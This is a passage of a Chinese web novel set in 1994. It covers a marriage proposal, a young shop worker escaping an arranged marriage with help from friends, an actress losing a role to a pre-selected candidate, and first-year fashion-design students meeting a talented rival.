关山越的车停在路边的一棵树下，江雪快步上前，下意识拉开了副驾驶的门，“关……” 刚说了一个字，江雪便目光一顿，“小胡？”她往后座看去，“怎么是你？关嘉言呢？” 小胡挠挠头，支支吾吾的说：“老板……嗯，老板回家了。” 江雪半信半疑，小胡赶紧给自己的话打补丁，“老板今天去见客户，喝了几杯酒。” 这是江雪要求的，喝酒不开车，开车不喝酒。 “这样。”江雪点点头，“那走吧。” 车子开出校园，驶上主路。很快，江雪就发现车窗外的景色她并不熟悉。 “小胡。”江雪警惕的坐直身体，“这不是回去的路吧？” 小胡清了清嗓子，从后视镜里看向江雪，“老板娘，之前那条路封了，这是另外一条回家的路。” 江雪谨慎的抱住书包，习惯使然，她包里常年放着辣椒水，“这样啊，早上来的时候不还好好地？” 小胡认真完成使命，“中午的时候封的，我也是来的时候才发现，饶了好大一圈呢。” 江雪敛眉，作为一个上辈子全靠手机导航才能找到路的人，江雪只能从路边的街景中寻找标志物，很快，她就看到了对岸那座即将竣工的海市标志性建筑，并意识到他们此时正沿着江行驶。 ……沿江行驶？ 车子渐渐远离市区，最终在江边停了下来，小胡熄火下车，绕过来替江雪拉开车门，脸上满是笑意，“老板娘，老板正在那边等你呢。” 他话音刚落，寂静的夜空中突然升腾起一朵巨大的烟花，像是要为她指引方向一样，一朵烟花散落天际，另一朵紧跟着炸响。 江雪愣了一会儿，只觉得自己的一颗心也跟着燃放的烟花怦怦直跳，她朝着那个方向走去，耳边不断传来江水翻涌，拍向堤岸的声音。 很快，她看到了穿着西装，手捧鲜花的关山越。 烟花在此时停了下来，江雪同样停下脚步，怔愣的表情中带着错愕，“你，你这是……” 一串小彩灯次第亮起，将他们俩围在中间，江雪下意识抬头看去，只见小胡像一只笨拙的兔子蹦来蹦去，忙着把彩灯打开，还要尽可能的不让江雪发现。 “你怎么不早说！”江雪没忍住笑了下，笑意带弯眼角，才发现自己竟然在不知不觉中泪盈于眶，“我都没换衣服，也没有化妆！” 关山越更早一步注意到了她眼中泪光，像一汪被盛起的月，在夜色中散发出淡淡星芒。他下意识抬手，想替她擦去眼底的泪，“这样也很漂亮。” 江雪噗嗤一笑，原谅了他的疏忽大意，伸出手道：“还愣着干什么？难道要我走过去吗？” 关山越朝前迈了一步，因为实在紧张，甚至是同手同脚，紧急调整后，迈着一丝不苟的正步走到了江雪面前。 然后，捧着花，单膝下跪，从兜里掏出枚闪闪发光的钻戒。 江雪不是第一次从这个视角俯视他，但从未像这一刻看的认真仔细，像是要把这个人的眉眼完整的刻进自己脑海中。 “其实应该早两天把这份礼物送给你。”关山越如实道。 早两天。 江雪回忆了一下，应该是她的生日，那天他们吃了蛋糕，关山越始终一副欲言又止的样子，原来是在暗中筹备这件事。 关山越继续说了下去，从他们第一次见面开始。 “当时我只觉得，这个人胆子真大，就不怕被人半路拐走吗？” “后来你在姜家维护言言……” “给你送去身份证的时候，院里院外那么多人，都远远的看着你，看着你拿着菜刀拼命，却没有人替你说一句话。” “你救了自己，救了关嘉言，救了……很多很多人。” …… 关山越都不清楚自己到底说了什么，他在心里打了很久的草稿，只有最后一句话坚定了留了下来，“江雪，你愿意嫁给我吗？” “我愿意。”夜风轻抚眼角，带起丝丝凉意。 江雪想，原来看别人求婚，和自己被人求婚，是完全不一样的感受。还好关山越没有找一大堆人在旁边摇旗助威，否则她一定坚持不下去。 到底是谁给关山越出的主意，说不定就是公司的人，下午她打电话的时候那么吵，至少一个月……不，至少半年，她绝对不会踏进安泰半步。 “我愿意。” 江雪的声音盖过江水翻涌，伸出左手，让关山越给她带上镶嵌了钻石的戒指。 “另一个呢？”江雪把他从地上拉起来。 关山越这才从兜里掏出另外一枚略显朴素的戒指，江雪拿在手里，盯着他的双眼，认真道：“关山越先生，你愿意和我共度余生吗？” “愿意。” “嘭！” 巨大的烟花再度照亮夜空，江雪将戒指戴在他手上，余光瞥见小胡正在笨拙的跳来跳去—— 作者有话说：警告：此种求婚仅限于两情相悦（以及关经理并没有找很多人围观，只有一个笨拙的小胡）[害羞] 第四十八章 春芽和晓曦1 “本来定了一家西餐厅。”关山越握着她的手, 两人并肩而立，“但是市区不方便放烟花，所以想吃完饭后再带你过来。” 江雪调侃道：“但是计划赶不上变化？” 关山越握着她的手紧了紧, “嗯。” 江雪与他十指相扣, “没关系，这样就很好了。” 燃放的烟花还是引来了不少人驻足观看, 江雪还能听到远处有人好奇询问，小胡爽朗一笑的声音，“哈哈, 我们老板跟老板娘求婚呢！” 江雪：“……” 国人爱凑热闹这一块儿是数得着的, 江雪很快就听到有人喊“新婚快乐”、“百年好合”、“早生贵子”等等。 江雪：“……” 还好现在网络不发达, 没有抖X, 快X, 微X, 否则她一定会出现在第二天的同城热门上。 烟花燃放完毕, 三人忙忙碌碌的将江滩收拾干净后才离开。 关山越给小胡报销了回去的车费, 江雪摆弄着手里的DV机, 调侃道：“该给小胡加奖金。” 又是开灯关灯, 又是放烟花, 居然担负着摄像师的工作，全场下来最忙的就是他了。 关山越眼底满是笑意，“加, 你说加多少就加多少, 老板娘说了算。” 江雪攥起拳头给了他一锤, “油嘴滑舌。” 说完江雪自己都忍不住笑了。 她还记得自己对关山越的第一印象，第一眼觉得这人和姜衡长得像，眉眼像是从一个模子里印出来的, 气质却截然相反，浑身上下写满了不好惹三个字。 要不是知道关山越是姜衡敬佩的亲舅舅，上辈子又是为了救人而牺牲，她也没那么大的胆子拉着一个陌生男人走。 居然一晃已经两年过去了。 江雪心底掠过丝丝怀念。 还记得当初关山越总是一副不近人情的样子，仗着脸长得好看，发型随随便便弄，衣服随随便便穿，最后还是她实在看不下去，一点点给他掰回来。 现在倒是学乖了，每次出门前都会先在她眼皮子底下晃一圈，试探她的反应。要是她反应不对，就麻溜的回去换衣服。 关山越单手扶着方向盘，他的手指修长，但并不羸弱，反而是骨节粗大，看上去十分具有力量感，仿佛一拳就能把人锤进墙里。 此时这双手的左手无名指上套了枚银色宽边指环，上面点缀着几颗碎钻，像是做完她手上的钻戒后，剩下来的边角料做成的。 不显眼，却在无形中为这只手，这个人平添了几分柔和的气质。 想着，江雪拨弄了下手上的戒指，大小刚刚好。 转动戒指的手一顿，江雪想起前两天睡觉时，关山越似乎在她手指上缠了什么东西，只不过她当时又累又困，以为自己在做梦，醒来后就忘得一干二净。 ……江雪不合时宜的想起来一个笑话。 关山越开着车，忽然听到江雪噗嗤一下笑出了声。 “？” 关山越：“怎么了？” 江雪忍笑忍得痛苦，盯着他转动手腕道：“我在想，还好只是买戒指需要量尺寸，买项链不用，不然半夜吓醒，真是跳进黄河也洗不清。” “……” 关山越无奈一笑，“你说得对。” 江雪顿时笑的更大声了。 两人开车去董志勇家里接关嘉言。 已经是晚上十点，董志勇抱着已经睡着的关嘉言出来，瞟见关山越手上多出来的戒指，立马露出个“兄弟，我懂你”的暧昧表情。 趁江雪不注意，董志勇低声道：“关哥，回头也教教我，我给文月也搞一个。” 下午关山越把关嘉言送来他们家，刘文月顺口问了句是不是有什么事。董志勇刚想把事情的来龙去脉告诉她，话到嘴边，又止住了。 刘文月只比他小半岁，嫁给他这么多年，生了甜甜，也就这两年日子慢慢好过了一点儿。他最开始跟着关山越创办安泰的时候，刘文月嘴上说，实则把家里的钱都拿出来给他，还从娘家借了不少。 人不能没良心。董志勇想，他可不是李栋梁那样的人。 关山越把睡着的关嘉言放进后车座，转身拍了拍董志勇的肩膀，“知道了，回吧。” * 几场秋雨过后，天气一天冷过一天。 江雪逐渐习惯了自己的大学生活，因为不在学校住的缘故，她和班里的同学只在上课的时候打个照面，课下见面的机会不多，也就没有什么交流。 只有崔丽丽和方娟惦记着她们被分在同一间宿舍，大小是个缘分，经常帮她上课占座，顺便告诉她前一天班长又通知了什么新消息。 江雪投桃报李，三五不时的买些糕点和水果来分给她们。崔丽丽和方娟不好意思总吃，两人一拍即合，想了个点子，借江雪的笔记看。 江雪的笔记做的相当好，有好些上课没怎么听懂的问题，下课后看一眼江雪的课本，就会发现她顺手在旁边做了注释。一来二去，想通过崔丽丽和方娟借笔记的人竟是越来越多。 等到了十一月初，唐晓曦终于打来了电话。 “喂！”唐晓曦一张嘴，依旧是生龙活虎的大嗓门，“江雪，猜猜我是谁！” “唐晓曦！”听到她活力四射的声音，江雪不免松了口气，“电影拍完了？” 唐晓曦哈哈大笑，“当然拍完了，拍了足足三个月，我还是第一次在剧组呆这么久。对了江雪，你猜猜我现在在哪儿。” 她要是不这么说，江雪一点儿怀疑都没有，但她既然这么说了。 江雪惊喜地问：“你来海市了？” 唐晓曦“嗯”了声，说：“冯导给我推荐的角色，说是适合我，让我来试试镜。” “那太好了。”江雪说：“离大明星更进一步。” 唐晓曦不好意思起来，“昨天才试完镜，还没出结果呢。” 江雪：“昨天？那怎么现在才给我打电话？” “我这不是忙嘛。”唐晓曦不自然地转移话题，“那个，我的照片洗出来了吗？” 江雪笑了，“当然，正要找时间寄给你。你在哪儿呢，我给你送过去。” 唐晓曦忙道：“别别，剧组无聊死了，我们还是约个地方见吧，海市有什么好玩的？” 海市的好玩的？江雪一时半会儿还真想不到，毕竟大家提起海市的第一印象就是它的商业繁华，经济腾飞，纸醉金迷。 “你想去哪儿？”江雪把问题又抛了回去。 唐晓曦一锤定音，“百货大楼！”她要去看看，海市到底有什么时髦货。 * 一见面，唐晓曦冲上来就给了江雪一个大大的拥抱，抱完才发现少了个人，“咦？言言呢？” 今天是星期六，但红星小学这周单休。 江雪道：“言言今天上学，下午四点放学。”休息前一天的放学时间会比平时早很多。 唐晓曦颇为遗憾，“我还给他带了礼物呢。”说着，晃了晃手里的袋子，里面装了个比巴掌略大些的游戏机，黑白色的液晶屏，能玩俄罗斯方块，也能玩坦克大战。 江雪挽起她的胳膊，带着她往百货大楼走，“明天再见也是一样的，言言知道你来，肯定很高兴。” 唐晓曦抿了抿唇，没告诉江雪自己已经定好了晚上回京市的火车票。 她的试镜没通过，面试的时候两个副导演都说她演得不错，她本来以为十拿九稳，谁知最后告诉她定了其他人来演。唐晓曦心里不太服气，因为副导演说的这个人根本没有参加试镜，她想追上去讨个说法，被人好心拦住了。 好心人告诉她，不是她演的不好，是给这部戏花钱的老板亲自带了演员来推荐给导演。说是推荐，其实就是内定。 唐晓曦当时就愣住了，劝她的那人还说现在都是这样，末了还说：“我看你长得比那人好看多了，要不也……” 没等他说完，唐晓曦扭头就走了。她知道那人想说什么，不就是让她找个有钱人嫁了。 这句话她不知道听了多少遍，就因为不想再听下去，才从京市跑到了这里。 “我们先在这儿看看，要是没有喜欢的，海市还有别的商场。” 江雪的声音唤回了唐晓曦的思绪，她连忙挂起笑脸，“好，把它们逛过来个遍！” 百货大楼的女装集中在三楼售卖，两人一进门，就看到不少人往二楼去，就连一楼柜台里的营业员也伸着脖子往楼上看。 唐晓曦不解道：“二楼是卖什么的？” “大部分都是童装。”乔亚楠的童心服装店就是在二楼租的店面，江雪随口道：“可能是搞活动吧。” 唐晓曦想到自家大姐的孩子，虽然她从京市离开时和大姐闹得不太愉快，但想到是大姐把她带大的，大姐生孩子之前，她们的关系一直都很好，不觉心底一动。 唐晓曦提议道：“我们也去看看吧，要是有合适的，我买几件回去给外甥。” 两人顺着人流的方向走去，刚走没几步，江雪就意识到不对劲了。 来的大都是没带孩子的成年人，并且每个人脸上都是看热闹的表情。 正想着，一道浑厚的声音从不远处传来，“什么春芽？她就叫招娣，王招娣！”—— 作者有话说：今天出去跑手续了，第二更不要等，明天起床再看[可怜] 第四十九章 春芽和晓曦2（觉醒）…… 童心服装店门口, 一个中等身材，面孔宽大，皮肤黝黑的男人抓着春芽的手臂, 大声道：“你就是王招娣, 我去你家见过你！” 春芽的一张脸涨的通红，咬牙怒骂, “你放屁！我不认识你！” “她不是你说的王招娣，你认错人了。” “这位大哥，你还是把手松开吧, 这么多人都看着呢。” 童心服装店的另外几个营业员也跟着七嘴八舌的劝, 男人却不依不饶, 仍旧死死拉着春芽, “哼, 少糊弄我, 你们都是一伙的！我一松手, 她就跑了！” 眼看围观的人越来越多, 男人清了清嗓子, 正要喊出王招娣家里收了他的彩礼, 把王招娣嫁给他当媳妇时, 人群里突然站出来一个人，对他喝道：“你干什么？耍流氓是不是！” 耍流氓三个字扣下来，男人立马就急了, “你瞎说什么！什么耍流氓？我们俩是一家人！我是她男人！” “不是！”春芽立马否认, “我不认识他！” 男人还想反驳, 江雪快步上前，冷冷的看着他，质问道：“一家人？那你有结婚证吗？” ……结婚证当然是没有的。他们村里不讲究这个, 只要两家人点头，再摆几桌酒，等生孩子了再去领结婚证也不晚。 男人一下子卡了壳，手上力气一松，春芽趁机抽回手臂。几个营业员见状，赶紧把她从男人身边拉开，再七手八脚的把她护在身后。 “你，你们……” “还说你不是耍流氓！哪有人随随便便就拉着人不放手，还说是两口子的！”江雪打断他的话，抛下最后一剂猛药，“快报警，把这个流氓犯抓起来。” 男人顿时慌了，又看江雪拎着包，穿着大衣，知道自己惹不起，就撂下句狠话，“王招娣，你给我等着，我，我还会再来的。” 说完，在众人的围观下灰溜溜的走了。 “散了，都散了吧。” “没事了没事了，大家都去忙吧。” “大姐，我们店里的新款童装，要进来看看吗？” 围观人群渐渐散去。店里的几个营业员纷纷捂着胸口松了口气，对江雪道：“还好江女士你来了，不然还不知道要怎么被人看笑话呢。” 江雪朝她们点点头，“春芽呢？” “在更衣室。” 更衣室里，春芽正坐在凳子上抹泪。江雪掀开帘子进去，春芽猛地一惊，看到来的人是江雪，紧绷的身体才松懈下去，带着浓浓的哭腔道：“姐，你又救了我一次。” 江雪倚着门，开门见山的问她，“你不想报警，为什么？” 刚刚她威胁那个男人要报警，旁边的春芽明显变了脸色，似乎比那个男人更不想叫警察来。 迎着江雪的不解的目光，春芽嗫喏的张了张嘴，小声道：“姐，其实我知道他是谁。” * 江雪把唐晓曦介绍给春芽，“这是晓曦，是名演员。” “演员？”春芽惊讶道：“是，是电视上演的……呃……” 春芽不知道该怎么说，唐晓曦替她解释，“就是演电视剧的，有时候也演电影。” 春芽没看过电影，但她知道电视剧，“你好厉害啊！” 唐晓曦被夸得脸都红了，连忙摆手，“其实也没演多少，都是些小角色。”唐晓曦又道：“你叫春芽吗？春天的春？发芽的芽？好有诗意的名字。” 这下春芽也变得不好意思起来，江雪赶忙敲敲桌子，打断了两人的商业互夸，“好了，春芽，现在可以说了吗？” 春芽看了看江雪，又看了看唐晓曦，脸上带着几分为难。 唐晓曦见状，颤巍巍地举起手，“我可以听一下吗？说不定我也可以替你出出主意。” 江雪看向春芽，等她做决定。 “好吧。”春芽用双手搓了搓脸，又深吸一口气，“那个男的叫王大武，是，是我爹妈给我找的对象。” 春芽，其实应该叫她王招娣。 小时候的王招娣不知道这个名字代表着什么。她有两个弟弟，不管是爸妈，还是爷爷奶奶，都在反复的向她灌输一个道理，那就是她是老大，是当姐姐的，要对两个弟弟好，不管有什么好东西，都要先紧着两个弟弟来，哪怕受了委屈，也应该是当姐姐的先让步。 后来比她小一岁半的弟弟上了小学，她还在家里。是学校里的老师找上门来，拉着她爸妈说了一整天，王招娣才背上了弟弟不要的破书包，跟着上了小学。 上学后的王招娣总是写不完作业，因为从学校回去的她有干不完的活。每次她干活的时候，她妈就会夸她勤快、懂事，说女儿是妈的小棉袄。而她弟弟什么都不做，她妈就说，怎么不学学你姐姐，看你姐姐比你们强多了。 王招娣以为她妈还是向着她的。 直到要上初中，她爸死活不让她去，说女儿是赔钱货，上学就是赔他的钱。王招娣只能哭着去求她妈，可她妈只是掉了两滴眼泪，然后对她说，女孩子上不出什么名堂，女孩没有男孩聪明。 王招娣不信，她的成绩一直比她两个弟弟都要好。可是她妈却说：“男孩开窍晚，后劲足，等上了初中，随便学学就会，你一个女孩子，学了也考不上高中，别浪费那个钱了，你也心疼疼爸妈。” 于是王招娣没能上成初中，在家里干了几年活后，她的两个弟弟也从学校回来了。一大一小，复读了两年，还是没开窍。 在村里，到了十八九岁，就有人上门说亲。王招娣不想嫁人，可她的两个弟弟，都踮着脚等她的彩礼钱盖房子结婚。 王招娣对她爸妈说，她去海市打工，每个月能赚两三百，一年就有两三千，她把钱都攒下来，留给给她弟弟们结婚娶媳妇。 “所以我才来了海市。”春芽平静的说完，好像她口中的那个王招娣根本不是自己。 “呜呜呜……”唐晓曦已经哭的上气不接下气，一边哭还一边骂，“太过分了！太过分了！” 江雪垂眸，默默握住了春芽冰凉的手。 春芽继续说：“去年过年的时候，他们给我打电话，说我妈叫车碰住，快要不行了，叫我赶紧回去看看。我赶紧坐火车回去，回去后才发现他们给我找了个对象，彩礼都收了，就等我回去办酒。我趁他们不注意，偷偷跑了。” 春芽嘴边浮现出一抹苦笑，“他们还说是为我好，说王大武家有钱，王大武也在海市打工，赚的比我多，我只要给他洗洗衣服，做做饭，就能过上好日子。” 听到这里的唐晓曦止住眼泪，眨了眨眼。不知为何，春芽的话让她突然想到了自己爸妈，似乎从小到大，他们要是这样对她和大姐说的，只不过没有这么直白而已。 可是大姐呢？难道大姐也会骗她吗？唐晓曦心中一瞬间闪过许多疑虑。 春芽握紧了拳头，咬牙道：“他有钱和我有什么关系，我自己有胳膊有腿，再苦再累，我也能自己赚钱。” 见她情绪激动，江雪连忙抬手在她背上拍了拍，轻声道：“你做的对。” 春芽呼吸急促的喘了几口气，抬手抹了抹眼，说：“姐，我不敢报警，我把警察来了，会把我送回老家去。” “不会。”江雪斩钉截铁道：“你是成年人，也有公司给你办的暂住证，要是他再敢来无理取闹，你只管报警，叫公安把他抓起来。这种人，只要抓他一次，他就再也不敢纠缠你了。” 得到了江雪的保证，春芽才算彻底松了口气，转头一看，唐晓曦哭的比她还厉害，脸上的妆都哭花了，像只小花猫似的。 江雪哭笑不得的带唐晓曦去百货大楼的卫生间洗脸，等洗完脸回到店里，接到消息的乔亚楠也急匆匆的赶来了。 “傻姑娘！”乔亚楠恨铁不成钢的点了点春芽的额头，“怕什么，他再敢来，你就报警。我就不信了，现在还兴包办婚姻那一套。你放心，出什么事，姐给你担着！” 乔亚楠确实是个好老板，江雪走过去，又做了遍介绍，“这是晓曦，是个演员。” “呦，大明星！”乔亚楠眼睛一亮，又遗憾的摇摇头，“可惜我这卖的是童装，不然得大明星给我打打广告。” 乔亚楠也是个爽快人，和唐晓曦性格相投，都不用江雪过多介绍，两个人就你一眼我一语的聊了起来。 唐晓曦犹豫再三，还是把自己的顾虑说了出来，“我觉得那个叫王大武的不一定会再来，但是他现在知道春芽在哪儿上班，万一他把春芽的父母喊来。” 闻言，江雪和乔亚楠均是面色一凛。 江雪道：“你说的有道理，要是春芽爸妈来闹事的话……” 乔亚楠牙疼的“啧”了一声，“清关难断家务事啊！” 爸妈来找女儿，她们总不能还拦着。 ……除非让他们找不到春芽。 江雪当机立断，“亚楠姐，你之前不是说服装厂和京市那边的百货公司有合作，能不能把春芽介绍过去工作一段时间。” “没问题。”乔亚楠迅速道：“我给他们老板打个电话。” 江雪又转头去问春芽，“春芽，你觉得呢？” 春芽原本还在忐忑，被江雪这么一问，反而定下心来，“我也没问题，反正都是打工，在哪儿都一样。” “等去了京市，我照顾你。”唐晓曦也跟着凑热闹，她看着春芽，一双眼睛亮晶晶的，再次充满了蓬勃向上的生机，“我觉得你说的对，只要有手有脚，就算再苦再累，也要自己赚钱！”—— 作者有话说：[害羞] 第五十章 她就是徐琳琳！ 事不宜迟, 乔亚楠当即拿出大哥大给京市的百货公司打去电话，事情敲定之后又打给火车站售票处，给春芽定了张去京市的火车票。 乔亚楠做事向来风风火火, 当下更不迟疑, “现在回去收拾东西，明天就走。” “明, 明天？”春芽刚放下的心又提了起来，知道自己要走，和马上明天就要走, 两者还是有很大区别的。就算王大武今天给她爸妈打电话, 从安河坐火车来海市, 也要两三天的时间。 江雪说：“明天也好, 宜早不宜迟。”以防那个叫王大武的再想出什么不好的主意来。 春芽现在还住在服装厂的女工宿舍里, 乔亚楠让她不用担心, “到京市后你直接去百货公司找李经理, 我跟她说好了, 先在仓库给你支张床, 还是去做营业员, 在柜台里卖我们厂的衣服。” 简单来说就是换了个地方做同样的工作, 江雪脑海里浮现出一个词——“外派”，春芽就是童心服装店外派到京市的员工。 想到这里，江雪合掌一笑, 对春芽道：“说不定你们乔老板是打算在京市开分店, 先把你派过去打头阵, 等你在那边做熟了，她就过去吃现成的。” 紧张的气氛因为这一句话松散许多，乔亚楠乐不可支的揽着江雪的肩膀前后摇晃, “听听，还说我呢，就数这个人鬼点子最多。” 春芽兴奋的脸庞微红，显然是把江雪说的话当了真，“我一定好好干。” 唐晓曦问春芽明天要坐哪趟车，乔亚楠说了个时间，“明天中午那趟，后天上午到京市。” 定的是普通列车，沿途停靠多个站点，比直达特快要慢上几个小时。 唐晓曦一想，索性把自己回去的时间也推迟了，反正不管回去的是早还是晚，都免不了要听人念叨。 唐晓曦：“我也要回京市，明天我和春芽一起，路上也好有个照应。” 乔亚楠乐了，“那正好，省得我放心不下。” 只有江雪讶异的看了唐晓曦一眼，上午打电话的时候唐晓曦还开开心心的说自己是来试镜的，虽然还没出结果，但听语气，应该是十拿九稳才对。 “我没试镜上角色。”唐晓曦不太好意思的抓了抓手指。 唐晓曦原本打算等上火车之前再给江雪说这件事，本来嘛，没影的事被她嘴上不把门，当成大话先说出去了。要是成了还好说，不成，那真是丢人丢大发了。 还好她只告诉了江雪一个人，以江雪的为人，是绝对不会笑话她的。 江雪安慰她，“没事，机会多的是，这个不行还有下个，没有在一棵树上吊死的。” 唐晓曦又想起那个劝她的人，脸色暗了暗。江雪看她表情不对，心里咯噔了一下，忙问：“怎么了？” 唐晓曦便把自己听来的消息告诉了她。 江雪听完：“……” 哪怕二三十年后，资本捧人，往剧组塞人也是常态。 唐晓曦自己反倒是已经看开了，“不就是演不了好角色吗，我还能演丫鬟，演营业员，演卖票的，那么多角色，总有我能演的。” “也不能这么说，冯导的电影不就请了你当女主角。”江雪觉得自己忽略了什么信息，她拧眉想了一会儿，忽然问唐晓曦，“晓曦，那个跟你透露消息的人，你认识吗？” 唐晓曦摇头，“不认识，从来没见过。” 江雪端正神色，“那他是怎么知道这个角色是被人内定的？就算他消息灵通，这种剧组的内部消息，不应该藏着掖着？再说了，副导演才告诉你试镜结果，怎么刚好就遇上他？” 当然，最值得怀疑的还是这个人最后“劝”唐晓曦的那几句话。 唐晓曦明白过来，脸色一白，“他故意的？！”故意在那儿等着她，故意对她说那些话。 乔亚楠和春芽对演员、试镜、剧组之类的一无所知，但不妨碍她们听得懂话。 乔亚楠是在商场里摸爬滚打过的，直接说：“别管是不是故意，单凭那几句话，这个人就没安好心。要我说，没那什么……试镜，没试镜上反而是好事，这个剧组不得行。” 春芽：“我也觉得。” 江雪生怕唐晓曦受到打击后想不开去嫁人，赶忙安慰她，“不是还有冯导的电影，等明年电影上映，全国都会知道有你这么一个女演员，你还怕接不到戏？恐怕到时候就是剧组请你去，你都没时间去。” 唐晓曦长舒一口气，慢慢缓和了脸色，牵起嘴角，“哪有你说的这么厉害。” 江雪说：“我是信得过冯导，难道你不信？” 唐晓曦：“……”这话说的。 “信！当然信！”唐晓曦斩钉截铁的说。 * 春芽和唐晓曦一起去了京市，安顿好后给江雪和乔亚楠分别打了电话报平安。 就在春芽离开当天，王大武又去了百货大楼。只不过没敢像前一天那样大吵大闹，而是躲在角落里偷偷摸摸的往店里看。一连去了好几天，都没看到春芽，王大武这才按捺不住，找了个人到店里打听。 店里的几个营业员统一口风，不管谁来问，都只说春芽辞职不干，至于去哪儿，一问三不知。 乔亚楠最后还是去了趟派出所，回来后给江雪打电话抱怨，“他报警，说我拐卖人口，真是不得了。” 江雪用肩膀和耳朵夹着听筒，“然后呢？” “然后当然是他理亏嘛。”乔亚楠哼了声，“人家公安同志一听就知道是怎么回事，把他好好教育了一通，叫他不要再去打扰我做生意。” “那就好。” 乔亚楠听着话筒里传来的咔嚓声，“你在做什么啦？” “做作业。”江雪说：“期末作业。” “都忘了你现在还是个大学生。”乔亚楠挂了电话，“我也得盯着薇薇去做作业了，他们老师前两天还跟我告状，说她的做作业写的一塌糊涂。” 江雪做的是缝纫课的作业，大一的课程理论居多，缝纫课是鲜少需要动手的课程。 这天上完服装概论，崔丽丽和方娟邀请江雪去学校的缝纫教室。 崔丽丽拉着江雪的左胳膊：“教教我吧，我感觉那台缝纫机跟我过不去。” 方娟拽着江雪的右胳膊，“我也是。” 江雪：“……可以，你们先放手。” 国立纺织大学，顾名思义，是一所以纺织专业见长的专业大学。未来几年后，这所大学会将名字中的“纺织”两个字去掉，并开设多个非纺织类专业，扩大校区，最终变成一所综合性大学。 不过那都是后话，现在学校里的大部分专业都和纺织有关，比如纺织工程、材料科学一类的工科，又或者新开设的服装与服饰设计，相对前两个专业，更偏艺术性。 不是所有考入服装设计专业的学生都会拿起剪刀做衣服，更多的是对服装设计感兴趣，实际上缝纫基础为零。因此考上大学后的第一件事，就是从缝纫学起，等到大二才开始学立体剪裁，做成衣。等到真正确定自己的发展方向和设计风格，距离毕业也不远，要开始自己的毕业设计。 崔丽丽和方娟就是这种类型，两人初次上手缝纫，信心满满的开始，怀疑人生的结束。 崔丽丽哭丧着脸道：“怪不得大家都说徐琳琳是天才，才大二就能参加服装设计大赛。” 江雪指导她使用缝纫机的技巧，顺口道：“这个比赛什么时候开始？” “要先去服装公司报名，一般都是十月开始的，截止到十月底。”方娟说：“每届比赛都有不一样的主题，今年的主题好像叫‘追梦世界’。” 崔丽丽补充道：“报完名后，还要在十二月之前提交自己的设计稿，准备面料。到第二年一月底，服装公司才会公布设计稿通过的名单。再然后才是制作成衣，参加决赛。” 江雪默默记在心里。 方娟看着自己缝出来的丑东西，唉声叹气道：“我还说明年也要去参加服装设计大赛呢，现在想想，还是算了吧，说不定连初赛都通不过。” “谁不是呢。”崔丽丽同样愁眉苦脸。经过江雪的指导，缝出来的东西确实没有那么丑了，但距离制作衣服，还有很长一段距离。 崔丽丽眼珠一转，快人快语道：“江雪，我觉得你可以去试试，老师都夸你的缝纫学的最好。” 缝纫教室只有她们，说起话来也就无所顾忌。三个人正有说有笑的聊着天，忽然听到门外传来几声笑，不是寻常的笑法，像是嘲笑。 缝纫机的声音停了下来，江雪三人不约而同的转头去看。 只见门口不知什么时候站了一行人，有男有女，为首的是个高个子女生，瓜子脸，脸庞白净，留着长发，穿了件宽肩的呢绒大衣，愈发显得人高挑有气质。只是脸上的表情冷冷的，扫了眼教室里的人，什么也没说，转身就走了。 江雪：“……” 崔丽丽、方娟：“！！！” 发出笑声的是女生身后的几个人，江雪看向他们的时候，几人还没来得及收起脸上的嘲弄，又或者是故意如此。然而江雪并未见过他们，更不知道他们的敌意来自何处。 大概是没想到女生会转身就走，剩下的几人愣了两秒后才跟着追过去，全程没有对教室里的三个人说一句话。 江雪不禁哑然，这群人是来干什么的？参观吗？ 一转头，发现崔丽丽和方娟都站了起来，崔丽丽将手摁在缝纫机桌面上，激动道：“江雪，她就是徐琳琳！”—— 作者有话说：二更……不要等……[可怜]《 》 50-60 第五十一章 一年又一年 ……徐琳琳？ 江雪回忆着刚刚看到的面孔, 很年轻，被一群人众星捧月，身上不可避免的带了点属于天才的傲慢。 这一层的教室全部都是服装设计专业用来上实训课的, 除了这间放着二十多台缝纫机的缝纫教室, 还有放有人台的立体裁剪教室。 江雪猜他们应该是从隔壁的立体裁剪教室出来，刚好路过了这里, 听到她们在谈论服装设计大赛，所以进来看看。 至于那几个人为什么笑，江雪没放在心上, 崔丽丽和方娟虽然同样觉得奇怪, 但默契的选择了保密, 没对任何人提起这件事。 然而就在几天后, 江雪要参加服装设计大赛的传言在三个班传遍。 整个服装设计专业加起来, 一共才三个班。 传言是谁放出去的显而易见, 崔丽丽满怀愧疚的来找江雪道歉, “对不起, 都是因为我乱说话。” 崔丽丽紧张的握紧了双手, 泪水在眼眶里打转。她没想到自己随便一句玩笑话竟然会给江雪带来这么大的麻烦, 现在想想那天那几个人的笑, 明显不怀好意，就是在嘲笑她们说要参加服装设计大赛。 想到这里，崔丽丽又有些不服气。 设计大赛又不是他们家办的, 谁都可以报名, 凭什么她们只是说一说就要被嘲笑。难道除了徐琳琳, 他们都不能参加比赛吗？ “没关系，又不是什么大事。” 江雪每天在学校和家之间两点一线，除了上课就是做作业, 要不是崔丽丽大张旗鼓的来找她道歉，她都不知道有这回事。由此可见，那些人也就敢在背后蛐蛐小话，没胆量当面来问她。 江雪将画好的素描图夹进课本，坦然道：“我确实打算参加设计大赛，他们也不算说错，随他们说去吧。” 崔丽丽：“……啊？” 方娟也跟着“啊”了一声。 “哦，不是现在。”江雪给自己的话打了个补丁，“我是说明年。” 明年就是大二，服设一行人才济济，要想打出名气，最简单最快捷的方式就是参加比赛，江雪不想错过机会。 张爱玲女士都说了，出名要趁早。 江雪深以为然。 因为当事人的坦然承认，这则传言很快就在忙碌的大学生活里失去了吸引力，等到崔丽丽和方娟终于学会熟练使用缝纫机，在缝纫课上拿到优时，1994年也走到了尽头。 * 同去年一样，赶在元旦之前，江雪和关山越，带着七岁半的关嘉言搬家到了新房子里。 新房子比以前住过的两个家都要大，一进门，关嘉言就瞪大了双眼。 新房子很大，也很新，很亮，地板擦得亮晶晶，客厅里有空调，还有大彩电，关嘉言蹬掉鞋子，兴奋地冲进去，一下子扑倒在软乎乎的沙发上。 “舅妈，我们以后还会搬家吗？” 江雪替他把蹬掉的鞋子摆好，又从鞋柜里拿出拖鞋换上，“在你上初中之前不会。” “初中？”目前还是小学二年级的关嘉言在软软的沙发上翻了个身，“我现在是二年级，还要上三四五六年级。”红星小学采用的是六三学制，关嘉言朝江雪伸出四根手指头，“还有四年！” 江雪走过去把他拽起来，“好了，等会儿叔叔阿姨们就要来了，你不是要给他们表演唱歌吗？” 新房子是去年夏天刚开始的时候买的，登记在关嘉言名下，经过两三个月的细致装修，又空置通风了几个月后，一家三口终于搬了进来。 